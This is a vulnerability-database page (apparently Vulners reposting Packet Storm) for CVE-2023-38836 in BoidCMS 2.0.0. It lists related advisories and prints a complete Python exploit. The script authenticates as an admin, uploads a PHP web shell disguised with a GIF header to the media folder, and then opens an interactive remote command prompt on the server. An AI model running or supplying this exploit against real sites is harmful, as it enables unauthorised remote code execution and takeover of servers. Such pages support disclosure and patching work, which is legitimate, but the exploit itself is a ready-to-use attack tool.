Lucene search
K

BoidCMS 2.0.0 Shell Upload

🗓️ 10 Oct 2023 00:00:00Reported by 1337kidType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 344 Views

BoidCMS 2.0.0 Shell Upload, CVE-2023-38836, Ubunt

Related
Code
ReporterTitlePublishedViews
Family
0day.today
BoidCMS v2.0.0 - authenticated file upload Exploit
9 Oct 202300:00
zdt
0day.today
BoidCMS 2.0.0 Command Injection Exploit
2 Mar 202400:00
zdt
GithubExploit
Exploit for Unrestricted Upload of File with Dangerous Type in Boidcms
16 Aug 202314:30
githubexploit
ATTACKERKB
CVE-2023-38836
21 Aug 202317:15
attackerkb
Circl
CVE-2023-38836
17 Aug 202307:09
circl
CNNVD
BoidCMS 代码问题漏洞
21 Aug 202300:00
cnnvd
CVE
CVE-2023-38836
21 Aug 202300:00
cve
Cvelist
CVE-2023-38836
21 Aug 202300:00
cvelist
Exploit DB
BoidCMS v2.0.0 - authenticated file upload vulnerability
9 Oct 202300:00
exploitdb
Metasploit
BoidCMS Command Injection
1 Mar 202419:51
metasploit
Rows per page
`#!/usr/bin/python3  
# Exploit Title: BoidCMS v2.0.0 - authenticated file upload vulnerability  
# Date: 08/21/2023  
# Exploit Author: 1337kid  
# Vendor Homepage: https://boidcms.github.io/#/  
# Software Link: https://boidcms.github.io/BoidCMS.zip  
# Version: <= 2.0.0  
# Tested on: Ubuntu  
# CVE : CVE-2023-38836  
  
import requests  
import re  
import argparse  
  
parser = argparse.ArgumentParser(description='Exploit for CVE-2023-38836')  
parser.add_argument("-u", "--url", help="website url")  
parser.add_argument("-l", "--user", help="admin username")  
parser.add_argument("-p", "--passwd", help="admin password")  
args = parser.parse_args()  
base_url=args.url  
user=args.user  
passwd=args.passwd  
  
def showhelp():  
print(parser.print_help())  
exit()  
if base_url == None: showhelp()  
elif user == None: showhelp()  
elif passwd == None: showhelp()  
  
with requests.Session() as s:  
req=s.get(f'{base_url}/admin')  
token=re.findall('[a-z0-9]{64}',req.text)  
form_login_data={  
"username":user,  
"password":passwd,  
"login":"Login",  
}  
form_login_data['token']=token  
s.post(f'{base_url}/admin',data=form_login_data)  
#=========== File upload to RCE  
req=s.get(f'{base_url}/admin?page=media')  
token=re.findall('[a-z0-9]{64}',req.text)  
form_upld_data={  
"token":token,  
"upload":"Upload"  
}  
#==== php shell  
php_code=['GIF89a;\n','<?php system($_GET["cmd"]) ?>']  
with open('shell.php','w') as f:  
f.writelines(php_code)  
#====  
file = {'file' : open('shell.php','rb')}  
s.post(f'{base_url}/admin?page=media',files=file,data=form_upld_data)  
req=s.get(f'{base_url}/media/shell.php')  
if req.status_code == '404':  
print("Upload failed")  
exit()  
print(f'Shell uploaded to "{base_url}/media/shell.php"')  
while 1:  
cmd=input("cmd >> ")  
if cmd=='exit': exit()  
req=s.get(f'{base_url}/media/shell.php',params = {"cmd": cmd})  
print(req.text)  
  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation